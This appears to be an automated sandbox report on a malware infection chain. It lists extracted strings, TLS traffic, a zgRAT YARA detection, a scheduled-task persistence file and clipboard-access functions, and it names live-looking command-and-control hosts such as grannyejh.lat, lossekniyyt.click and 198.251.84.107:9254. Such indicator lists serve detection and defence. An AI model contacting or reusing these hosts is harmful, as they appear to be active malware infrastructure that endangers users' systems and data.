Source: fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/extensions/sreg/1.14http://openid.net/sreg/1.04http://openid.net/sreg/1.1
Source: fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/signon/1.1
Source: fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/sreg/1.04http://openid.net/sreg/1.1
Source: fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/srv/ax/1.0
Source: fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/xmlns/1.08http://openid.net/signon/1.0
Source: fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/multi-factor-physical
Source: fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/none
Source: fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/phishing-resistantxhttp://schemas.openid.net/pape/po
Source: fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/privatepersonalidentifier
Source: fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0
Source: fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0$dnoa.request_nonce
Source: fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0/signonNhttp://specs.openid.net/auth/2.0/serverdhttp://specs.openid.
Source: fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/oauth/1.0
Source: fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/pape/1.0
Source: fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0/icon
Source: fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0fhttp://specs.openid.net/extensions/ui/1.0/lang-prefhhttp:/
Source: fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0hhttp://specs.openid.net/extensions/ui/1.0/mode/popupfhttp:
Source: fba63623fe.exe, 00000007.00000002.2799443016.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2799443016.0000000002D82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/icon
Source: fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.idmanagement.gov/schema/2009/05/icam/no-pii.pdf
Source: fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.idmanagement.gov/schema/2009/05/icam/openid-trust-level1.pdfthttp://www.idmanagement.gov/
Source: 37179ed0b8.exe, 00000017.00000003.3132577664.0000000003539000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 37179ed0b8.exe, 00000017.00000003.3132577664.0000000003539000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: svchost.exe, 0000000E.00000002.2917014105.0000000000A7C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe
Source: svchost.exe, 0000000E.00000002.2917014105.0000000000A7C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxex
Source: 37179ed0b8.exe, 00000017.00000003.3045420702.0000000003548000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045349419.000000000354B000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045523221.0000000003548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 37179ed0b8.exe, 00000017.00000003.3045420702.0000000003548000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045349419.000000000354B000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045523221.0000000003548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 37179ed0b8.exe, 00000017.00000003.3045420702.0000000003548000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045349419.000000000354B000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045523221.0000000003548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 37179ed0b8.exe, 00000017.00000003.3045420702.0000000003548000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045349419.000000000354B000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045523221.0000000003548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 37179ed0b8.exe, 00000017.00000003.3045420702.0000000003548000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045349419.000000000354B000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045523221.0000000003548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 37179ed0b8.exe, 00000017.00000003.3045420702.0000000003548000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045349419.000000000354B000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045523221.0000000003548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 37179ed0b8.exe, 00000017.00000003.3045420702.0000000003548000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045349419.000000000354B000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045523221.0000000003548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 37179ed0b8.exe, 00000017.00000003.3044558296.0000000000BAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/
Source: 37179ed0b8.exe, 00000017.00000003.3044712479.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3044558296.0000000000BAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/(
Source: 37179ed0b8.exe, 00000017.00000003.3076397073.0000000003588000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3076502987.000000000358C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/)4
Source: 37179ed0b8.exe, 00000017.00000002.3273331697.0000000000C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/9wv
Source: 37179ed0b8.exe, 00000017.00000003.3263198896.0000000000C03000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000002.3273331697.0000000000C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/Iw
Source: 37179ed0b8.exe, 00000017.00000003.3206189009.0000000003518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/R7JVsT
Source: 37179ed0b8.exe, 00000017.00000003.3263198896.0000000000C03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/Rw
Source: 37179ed0b8.exe, 00000017.00000003.3131985934.000000000351C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api
Source: 37179ed0b8.exe, 00000017.00000003.3262906350.000000000351C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api-18
Source: 37179ed0b8.exe, 00000017.00000002.3273331697.0000000000C16000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3263198896.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiM
Source: 37179ed0b8.exe, 00000017.00000003.3044558296.0000000000B81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiO
Source: 37179ed0b8.exe, 00000017.00000003.3131985934.000000000351C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiQVU3Yu
Source: 37179ed0b8.exe, 00000017.00000002.3275981400.000000000351F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiR
Source: 37179ed0b8.exe, 00000017.00000003.3263198896.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiTH
Source: 37179ed0b8.exe, 00000017.00000002.3273331697.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apir
Source: 37179ed0b8.exe, 00000017.00000003.3206189009.0000000003518000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3132577664.000000000351F000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3133966506.000000000351F000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3131985934.000000000351C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/nN2uku
Source: 37179ed0b8.exe, 00000017.00000003.3268433937.000000000351F000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3262906350.000000000351C000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000002.3275981400.000000000351F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/teAB
Source: 37179ed0b8.exe, 00000017.00000002.3273331697.0000000000C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/xw7
Source: 37179ed0b8.exe, 00000017.00000003.3269052928.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000002.3273159920.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/api
Source: fba63623fe.exe, 0000000C.00000002.3171651406.0000000001231000.00000004.00000020.00020000.00000000.sdmp, fba63623fe.exe, 0000000C.00000002.3170670189.000000000118D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/
Source: fba63623fe.exe, 0000000C.00000002.3173043136.0000000003A8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/OO
Source: fba63623fe.exe, 0000000C.00000002.3171651406.0000000001231000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/api
Source: fba63623fe.exe, 0000000C.00000002.3171683136.000000000123A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/ck/
Source: fba63623fe.exe, 0000000C.00000002.3170670189.00000000011C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click:443/api
Source: skotes.exe, 00000006.00000002.3276235591.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000012.00000002.2979177935.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, 9267e9145a.exe, 00000018.00000002.3050310526.0000000001189000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: 37179ed0b8.exe, 00000017.00000003.3134129471.0000000003631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 37179ed0b8.exe, 00000017.00000003.3134129471.0000000003631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 37179ed0b8.exe, 00000017.00000003.3045420702.0000000003548000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045349419.000000000354B000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045523221.0000000003548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 37179ed0b8.exe, 00000017.00000003.3045420702.0000000003548000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045349419.000000000354B000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3045523221.0000000003548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 37179ed0b8.exe, 00000017.00000003.3134129471.0000000003631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: 37179ed0b8.exe, 00000017.00000003.3134129471.0000000003631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: 37179ed0b8.exe, 00000017.00000003.3134129471.0000000003631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 37179ed0b8.exe, 00000017.00000003.3134129471.0000000003631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 37179ed0b8.exe, 00000017.00000003.3134129471.0000000003631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: 37179ed0b8.exe, 00000017.00000003.3134129471.0000000003631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49750 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Code function: 12_2_004329C0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

12_2_004329C0

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Code function: 12_2_004329C0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

12_2_004329C0

Source: 9faa981582.exe, 0000000D.00000003.2898992206.0000000005990000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_1cee390d-d

Source: 9faa981582.exe, 0000000D.00000003.2898992206.0000000005990000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_455ba19c-f

Source: Yara match	File source: 13.3.9faa981582.exe.5bb0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.svchost.exe.5300000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.svchost.exe.50e0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.9faa981582.exe.5990000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000003.2898992206.0000000005990000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2899399364.0000000005BB0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2909561070.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2909776212.0000000005300000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9faa981582.exe PID: 8172, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 6536, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 7.2.fba63623fe.exe.3cc3198.2.raw.unpack, type: UNPACKEDPE

Matched rule: Detects zgRAT Author: ditekSHen

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: 40e7dddffe.exe.6.dr	Static PE information: section name:
Source: 40e7dddffe.exe.6.dr	Static PE information: section name: .idata
Source: 40e7dddffe.exe.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name: .idata
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: 12379a76ea.exe.6.dr	Static PE information: section name:
Source: 12379a76ea.exe.6.dr	Static PE information: section name: .idata
Source: 12379a76ea.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 9faa981582.exe.6.dr	Static PE information: section name:
Source: 9faa981582.exe.6.dr	Static PE information: section name: .idata
Source: 9faa981582.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00B9CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_00B9CB97

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00157049	0_2_00157049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00158860	0_2_00158860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001578BB	0_2_001578BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001531A8	0_2_001531A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00114B30	0_2_00114B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00227B6E	0_2_00227B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00152D10	0_2_00152D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00114DE0	0_2_00114DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00147F36	0_2_00147F36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0015779B	0_2_0015779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BC78BB	2_2_00BC78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BC8860	2_2_00BC8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BC7049	2_2_00BC7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BC31A8	2_2_00BC31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B84B30	2_2_00B84B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B84DE0	2_2_00B84DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BC2D10	2_2_00BC2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BC779B	2_2_00BC779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BB7F36	2_2_00BB7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BC78BB	3_2_00BC78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BC8860	3_2_00BC8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BC7049	3_2_00BC7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BC31A8	3_2_00BC31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00B84B30	3_2_00B84B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00B84DE0	3_2_00B84DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BC2D10	3_2_00BC2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BC779B	3_2_00BC779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BB7F36	3_2_00BB7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B8E530	6_2_00B8E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BA6192	6_2_00BA6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BC8860	6_2_00BC8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B84B30	6_2_00B84B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B84DE0	6_2_00B84DE0
